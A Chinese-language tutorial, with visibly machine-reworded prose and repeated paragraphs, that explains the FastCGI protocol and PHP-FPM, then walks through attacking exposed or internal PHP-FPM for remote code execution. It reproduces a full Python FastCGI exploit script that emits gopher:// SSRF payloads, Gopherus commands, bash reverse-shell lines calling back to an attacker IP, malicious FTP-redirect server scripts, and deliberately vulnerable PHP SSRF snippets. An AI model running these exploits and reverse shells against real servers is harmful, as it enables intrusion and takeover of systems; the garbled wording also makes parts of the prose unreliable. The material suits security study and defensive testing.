Nginx和fastcgi的通信办法有两种,一种是TCP的办法,一种是unix socke办法。

TCP通信办法

TCP模式即是php-fpm进程会监听本机上的一个端口(默认9000),然后nginx会把客户端数据通过fastcgi协议传给9000端口,php-fpm拿到数据后会调用cgi进程解析。
它许可通过网络进程之间的通信,也可以通过loopback进行本地进程之间通信。

location ~ [^/]\.php(/|$){try_files $uri =404;fastcgi_pass 127.0.0.1:9000; // 修正这里,指定fastcgi在127.0.0.1的9000端口fastcgi_index index.php;include fastcgi.conf;include pathinfo.conf;}Unix Socket通信办法

unix socket实在严格意义上该当叫unix domain socket,它是unix系统进程间通信(IPC)的一种被广泛采取办法,以文件(一样平常是.sock)作为socket的唯一标识(描述符),须要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
详细事理这里就不讲了,但是此通信办法的性能会优于TCP它许可在本地运行的进程之间进行通信。

phpfpm测试PHPFPM进击详解 jQuery

location ~ [^/]\.php(/|$){ try_files $uri =404; fastcgi_pass unix:/tmp/php-cgi-74.sock; fastcgi_index index.php; include fastcgi.conf; include pathinfo.conf;}拓展

unix socket办法肯定要比tcp的办法快而且花费资源少,由于socket之间在nginx和php-fpm的进程之间通信,而tcp须要经由本地回环驱动,还要申请临时端口和tcp干系资源。

unix socket会显得不是那么稳定,当并发连接数爆发时,会产生大量的永劫缓存,在没有面向连接协议支撑的情形下,大数据包很有可能就直接出错并不会返回非常。
而TCP这样的面向连接的协议,多少可以担保通信的精确性和完全性。

Fastcgi协议剖析Fastcgi Record

Fastcgi实在是一个通信协议,和HTTP协议一样,都是进行数据交流的一个通道。

HTTP协议是浏览器和做事器中间件进行数据交流的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的办法发送到做事器中间件,做事器中间件按照规则将数据包解码,并按哀求拿到用户须要的数据,再以HTTP协议的规则打包返回给做事器。

类比HTTP协议来说,fastcgi协议则是做事器中间件和某个措辞后端进行数据交流的协议。
Fastcgi协议由多个record组成,record也有header和body一说,做事器中间件将这二者按照fastcgi的规则封装好发送给措辞后端,措辞后端解码往后拿到详细数据,进行指定操作,并将结果再按照该协议封装好后返回给做事器中间件。
和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其构造如下:

typedef struct { / Header / unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的要求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; / Body / unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength];} FCGI_Record;

头由8个uchar类型的变量组成,每个变量1字节。
个中,requestId占两个字节,一个唯一的标志id,以避免多个要求之间的影响;contentLength占两个字节,表示body的大小。

措辞端解析了fastcgi头往后,拿到contentLength,然后再在TCP流里读取大小即是contentLength的数据,这便是body体。
Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留浸染。
不须要该Padding的时候,将其长度设置为0即可。
可见,一个fastcgi record构造最大支持的body大小是2^16,也便是65536字节。

Fastcgi Type

刚才先容了fastcgi一个record中各个构造的含义,个中第二个字节type没详说。
type便是指定该record的浸染。
由于fastcgi一个record的大小是有限的,浸染也是单一的,以是我们须要在一个TCP流里传输多个record。
通过type来标志每个record的浸染,用requestId作为同一次要求的id。

也便是说,每次要求,会有多个record,他们的requestId是相同的。
下面给出一个表格,个中列出来最紧张的几种type:

看了这个表格就很清楚了,做事器中间件和后端措辞通信,第一个数据包便是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。

当后端措辞吸收到一个type为4的record后,就会把这个record的body按照对应的构造解析成key-value对,这便是环境变量。
环境变量的构造如下:

typedef struct { unsigned char nameLengthB0; / nameLengthB0 >> 7 == 0 / unsigned char valueLengthB0; / valueLengthB0 >> 7 == 0 / unsigned char nameData[nameLength]; unsigned char valueData[valueLength];} FCGI_NameValuePair11;typedef struct { unsigned char nameLengthB0; / nameLengthB0 >> 7 == 0 / unsigned char valueLengthB3; / valueLengthB3 >> 7 == 1 / unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair14;typedef struct { unsigned char nameLengthB3; / nameLengthB3 >> 7 == 1 / unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; / valueLengthB0 >> 7 == 0 / unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength];} FCGI_NameValuePair41;typedef struct { unsigned char nameLengthB3; / nameLengthB3 >> 7 == 1 / unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; / valueLengthB3 >> 7 == 1 / unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair44;

这实在是 4 个构造,至于用哪个构造,有如下规则:1. key、value均小于128字节,用 FCGI_NameValuePair112. key大于128字节,value小于128字节,用 FCGI_NameValuePair413. key小于128字节,value大于128字节,用 FCGI_NameValuePair144. key、value均大于128字节,用 FCGI_NameValuePair44

为什么我只先容 type 为4的 Record?由于环境变量在后面 PHP-FPM 里有主要浸染,之后写代码也会写到这个构造。
type 的其他情形,大家可以自己翻文档理解理解。

PHP-FPM解析

上面我们评论辩论了关于什么时php-fpm,现在我们详细的讲讲它的解析过程。

FPM实在是一个fastcgi协议解析器,Nginx等做事器中间件将用户要求按照fastcgi的规则打包好通过TCP传给谁?实在便是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个要求变成如下key-value对:

{ &#39;GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1'}

这个数组实在便是PHP中$_SERVER数组的一部分,也便是PHP里的环境变量。
但环境变量的浸染不仅是添补$_SERVER数组,也是见告fpm:“我要实行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。
然后,实行SCRIPT_FILENAME的值指向的PHP文件,也便是/var/www/html/index.php。

Nginx(IIS7)解析漏洞

Nginx和IIS7曾经涌现过一个PHP干系的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability),该漏洞征象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。

用户要求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:

{ ... 'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php', 'SCRIPT_NAME': '/favicon.ico/.php', 'REQUEST_URI': '/favicon.ico/.php', 'DOCUMENT_ROOT': '/var/www/html', ...}

正常来说,SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php,是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。
PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情形下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉末了一个/及往后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。

以是,第一次fpm创造/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。
显然这个文件是存在的,于是被作为PHP文件实行,导致解析漏洞。

精确的办理方法有两种,一是在Nginx端利用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。

PHP-FPM未授权访问漏洞

写到这里,PHP-FPM未授权访问漏洞也就呼之欲出了。

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己布局fastcgi协议,和fpm进行通信。
布局数据包通过给SCRIPT_FILENAME赋值,达到实行任意PHP文件的目的了。
但是由于FPM某版本后配置文件添加了security.limit_extensions选项,用于指定解析文件的后缀,并且默认值为.php,这样让我们无法通过任意文件包含达到代码实行的效果。

; Limits the extensions of the main script FPM will allow to parse. This can; prevent configuration mistakes on the web server side. You should only limit; FPM to .php extensions to prevent malicious users to use other extensions to; exectute php code.; Note: set an empty value to allow all extensions.; Default Value: .php;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件许可被fpm实行,默认是.php。
以是,当我们再传入/etc/passwd的时候,将会返回Access denied.:

ps. 这个配置也会影响Nginx解析漏洞,我以为该当是由于Nginx当时那个解析漏洞,匆匆成PHP-FPM增加了这个安全选项。
其余,也有少部分发行版安装中security.limit_extensions默认为空,此时就没有任何限定了。

由于这个配置项的限定,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。
万幸的是,常日利用源安装php的时候,做事器上都会附带一些php后缀的文件,我们利用find / -name ".php"来全局搜索一下默认环境:

找到了不少。
这就给我们供应了一条思路,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php。

PHP-FPM任意代码实行

那么,为什么我们掌握fastcgi协议通信的内容,就能实行任意PHP代码呢?理论上当然是不可以的,纵然我们能掌握SCRIPT_FILENAME,让fpm实行任意文件,也只是实行目标做事器上的文件,并不能实行我们须要其实行的文件。
但PHP是一门强大的措辞,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file:是见告PHP,在实行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file:是见告PHP,在实行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就即是在实行任何php文件前都要包含一遍POST的内容。
以是,我们只须要把待实行的代码放在Body中,他们就能被实行了。
(当然,还须要开启远程文件包含选项allow_url_include)

那么,我们怎么设置auto_prepend_file的值?这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。
这两个环境变量便是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。
(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP高下文中)

以是,我们末了传入如下环境变量:

{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On'}

设置auto_prepend_file = php://input且allow_url_include = On,然后将我们须要实行的代码放在Body中,即可实行任意代码。

python fpm.py xxx.xxx.xxx.xxx /var/www/html/index.php -c "<?php system('ls /'); exit(); ?>"

p神的脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

远程攻击PHP-FPM

攻击者可以通过 PHP_VALUE 和 PHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 实行我们供应的任意代码,造成任意代码实行。
除此之外,由于 PHP-FPM 和 Web 做事器中间件是通过网络进行沟通的,因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。
以是任何人都可以伪装成Web做事器中间件来让 PHP-FPM 实行我们想实行的恶意代码。

当我们的PHP-FPM绑定在0.0.0.0上面,任意主机都可访问时。

直策应用上面p神的脚本:

PLAINTEXT兼容Python2和Python3,方便在内网用python fpm.py -c '<?php echo `id`;exit;?>' -p 9000 xxx.xxx.xxx.xxx /var/www/html/index.phpSSRF攻击本地PHP-FPM利用fpm.py脚本

依旧可以利用p神的脚本(须要稍加修正):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226

#!/usr/bin/python# -- coding:utf-8 --import socketimport randomimport argparseimport sysfrom io import BytesIOfrom six.moves.urllib import parse as urlparse# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])def bord(c): if isinstance(c, int): return c else: return ord(c)def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return sclass FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False #return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) # 前面都是布局的tcp数据包,下面是发送,以是我们可以直接注释掉下面内容,然后返回request #self.sock.send(request) #self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND #self.requests[requestId]['response'] = '' #return self.__waitForResponse(requestId) return request def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } # 这里调用request,然后返回tcp数据流,以是修正这里url编码一下就好了 #response = client.request(params, content) #print(force_text(response)) request_ssrf = urlparse.quote(client.request(params, content)) print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

脚本用法一样的:

python fpm.py -c "<?php system('id'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php利用Gopherus

项目地址:https://github.com/tarunkant/Gopherus

python gopherus.py --exploit fastcgi/var/www/html/index.php #已知php文件,默认为index.phpls #要实行的命令

二次编码后即可直接拼接链策应用,get要求一样平常会解码一次,curl又会解码一次,需不须要二次编码取决于是不是curl函数。

SSRF中的攻击点curl_exec()

curl这是一个非常常见的实现,它通过 PHP获取数据。
文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

SSRF中的攻击点curl_exec()curl这是一个非常常见的实现,它通过 PHP获取数据。
文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
file_get_contents()

下面的代码利用file_get_contents函数从用户指定的url获取图片。
然后把它用一个随即文件名保存在硬盘上,并展示给用户。

<?phpif (isset($_POST['url'])) { $content = file_get_contents($_POST['url']); $filename ='./images/'.rand().';img1.jpg'; file_put_contents($filename, $content); echo $_POST['url']; $img = "<img src=\"".$filename."\"/>"; } echo $img; ?>sockopen()

以下代码利用fsockopen函数实现获取用户制订url的数据(文件或者html)。
这个函数会利用socket跟做事器建立tcp连接,传输原始数据。

<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } }?>

以上我们的攻击都是基于curl_exec()函数所进行的攻击。
接下来我们会通过案例的办法讲解file_get_contents()和sockopen()。

FTP攻击FPM/FastCGI

利用FTP的被动模式,如果我们指定227 Entering Passive Mode (127,0,0,1,0,9000) ,那么便可以将地址和端口指到 127.0.0.1:9000,也便是本地的 9000 端口。
同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。
如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的运用了。
在这全体过程中,FTP 只起到了一个重定向 Payload 的内容。

利用FTP的被动模式,如果我们指定227 Entering Passive Mode (127,0,0,1,0,9000) ,那么便可以将地址和端口指到 127.0.0.1:9000,也便是本地的 9000 端口。
同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。
如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的运用了。
在这全体过程中,FTP 只起到了一个重定向 Payload 的内容。

姿势一:写入文件

<?php file_put_contents($_GET['file'], $_GET['data']);?>

file_put_contents () 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
file_put_contents函数利用前须要将php.ini的allow_url_fopen设置为ON。

这个点是存在WebShell写入漏洞的,但是在不能写文件的环境下该如何利用呢?那么可以利用SSRF进行攻击。

众所周知,如果我们能向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上实行代码。
这种技能常常与gopher://协议结合利用,curl支持gopher://协议,但file_get_contents却不支持。

那么我们如何才能实现 RCE 呢?可以利用FTP协议的被动模式,即:如果一个客户端试图从FTP做事器上读取一个文件(或写入),做事器会关照客户端将文件的内容读取(或写)到一个有做事端指定的IP和端口上。
而且,这里对这些IP和端口没有进行必要的限定。
例如,做事器可以见告客户端连接到自己的某一个端口,如果它乐意的话。

假设此时创造内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
首先利用 Gopherus 天生 Payload:

python gopherus.py --exploit fastcgi/var/www/html/index.php # 这里输入的是目标主机上一个已知存在的php文件bash -c "bash -i >& /dev/tcp/192.168.43.247/2333 0>&1" # 这里输入的是要实行的命令

得到的payload只截取 _ 后面的数据部分。
然后再攻击机上实行以下python脚本搭建一个恶意的 ftp 做事器:

# -- coding: utf-8 --# evil_ftp.pyimport sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 23)) # ftp做事绑定23号端口s.listen(1)conn, addr = s.accept()conn.send(b'220 welcome\n')#Service ready for new user.#Client send anonymous username#USER anonymousconn.send(b'331 Please specify the password.\n')#User name okay, need password.#Client send anonymous password.#PASS anonymousconn.send(b'230 Login successful.\n')#User logged in, proceed. Logged out if appropriate.#TYPE Iconn.send(b'200 Switching to Binary mode.\n')#Size /conn.send(b'550 Could not get the file size.\n')#EPSV (1)conn.send(b'150 ok\n')#PASVconn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) # "127,0,0,1"PHP-FPM做事为受害者本地,"9000"为为PHP-FPM做事的端口号conn.send(b'150 Permission denied.\n')#QUITconn.send(b'221 Goodbye.\n')conn.close()

并在 vps 上开启一个 nc 监听,用于吸收反弹的shell:

末了布局 url 发送 payload 即可。

姿势二:读取,写回文件

我们可以理解一下(CVE-2021-3129)这个漏洞。
该漏洞的核心便是传入 file_get_contents() 和 file_put_contents() 这两个函数中的内容没有经由过滤,从而可以通过风雅的布局触发 phar 反序列化,达到RCE的效果。

漏洞代码大致可以简化为如下代码:

<?php$contents = file_get_contents($_GET['viewFile']);file_put_contents($_GET['viewFile'], $contents);?>

可以看到这里紧张功能点是:读取一个给定的路径 $_GET['viewFile'],之后写回文件中 $_GET['viewFile'],这相称于什么都没有做!

由于我们可以运行 file_get_contents() 来查找任何东西,因此,可以利用 SSRF 常用的姿势,通过发送HTTP要求来扫描常用端口。
假设此时我们创造目标正在监听 9000 端口,则很有可能目标主机上正在运行着 PHP-FPM,我们可以进一步利用该漏洞来攻击 PHP-FPM。

现在,如果我们考试测验利用 viewFile=ftp://evil-server/file.txt 来利用这个漏洞,会发生以下情形:1. 首先通过 file_get_contents() 函数连接到我们的FTP做事器,并下载file.txt。
2. 然后再通过 file_put_contents() 函数连接到我们的FTP做事器,并将其上传回file.txt。
3.现在,你可能已经知道这是怎么回事:我们将利用 FTP 协议的被动模式让 file_get_contents() 在我们的做事器高下载一个文件,当它试图利用 file_put_contents() 把它上传回去时,我们将见告它把文件发送到 127.0.0.1:9000。
这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而实行代码,造成SSRF了。

下面我们来演示一下攻击过程。
首先,我们利用gopherus天生攻击fastcgi的payload:

python gopherus.py --exploit fastcgi/var/www/html/index.php # 这里输入的是目标主机上一个已知存在的php文件bash -c "bash -i >& /dev/tcp/192.168.43.247/2333 0>&1" # 这里输入的是要实行的命令

老规矩,我们只取__后面的数据。
然后在攻击机上开启监听。
我们利用别人的脚本搭建一个恶意的ftp做事,并将上面的payload中的数据更换掉下面ftp脚本中的payload的内容:

# -- coding: utf-8 --# @Time : 2021/1/13 6:56 下午# @Author : tntaxin# @File : ftp_redirect.py# @Software:import socketfrom urllib.parse import unquote# 对gopherus天生的payload进行一次urldecodepayload = unquote(" ")payload = payload.encode('utf-8')host = '0.0.0.0'port = 23sk = socket.socket()sk.bind((host, port))sk.listen(5)# ftp被动模式的passvie port,监听到1234sk2 = socket.socket()sk2.bind((host, 1234))sk2.listen()# 计数器,用于区分是第几次ftp连接count = 1while 1: conn, address = sk.accept() conn.send(b"200 \n") print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名 if count == 1: conn.send(b"220 ready\n") else: conn.send(b"200 ready\n") print(conn.recv(20)) # TYPE I\r\n 客户端见告做事端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本 if count == 1: conn.send(b"215 \n") else: conn.send(b"200 \n") print(conn.recv(20)) # SIZE /123\r\n 客户端讯问文件/123的大小 if count == 1: conn.send(b"213 3 \n") else: conn.send(b"300 \n") print(conn.recv(20)) # EPSV\r\n' conn.send(b"200 \n") print(conn.recv(20)) # PASV\r\n 客户端见告做事端进入被动连接模式 if count == 1: conn.send(b"227 127,0,0,1,4,210\n") # 做事端见告客户端须要到哪个ip:port去获取数据,ip,port都是用逗号隔开,个中端口的打算规则为:4256+210=1234 else: conn.send(b"227 127,0,0,1,35,40\n") # 端口打算规则:35256+40=9000 print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n if count == 1: conn.send(b"125 \n") # 见告客户端可以开始数据连接了 # 新建一个socket给做事端返回我们的payload print("建立连接!") conn2, address2 = sk2.accept() conn2.send(payload) conn2.close() print("断开连接!") else: conn.send(b"150 \n") print(conn.recv(20)) exit() # 第一次连接是下载文件,须要见告客户端下载已经结束 if count == 1: conn.send(b"226 \n") conn.close() count += 1

这个脚本做的事情很大略,便是当客户端第一次连接的时候返回我们预设的 payload;当客户端第二次连接的时候将客户真个连接重定向到 127.0.0.1:9000,也便是目标主机上 php-fpm 做事的端口,从而造成 SSRF,攻击其 php-fpm。

末了我们直接发起要求:

/ssrf.php?viewFile=ftp://192.168.43.247:23/123

当然,FTP协议不仅能攻击FPM,还能攻击Redis和Mysql。
可以参考文章:https://mp.weixin.qq.com/s/aYrolbts1KiZb3oWPEaBcQ

基于fsockopen()的骚姿势

常规的脚本打fastcgi模式都是基于auto_prepend_file,extension等,而下面的例题用error_log这个配置进行攻击。
(浙江省信息安全竞赛初赛baby_ssssrf)

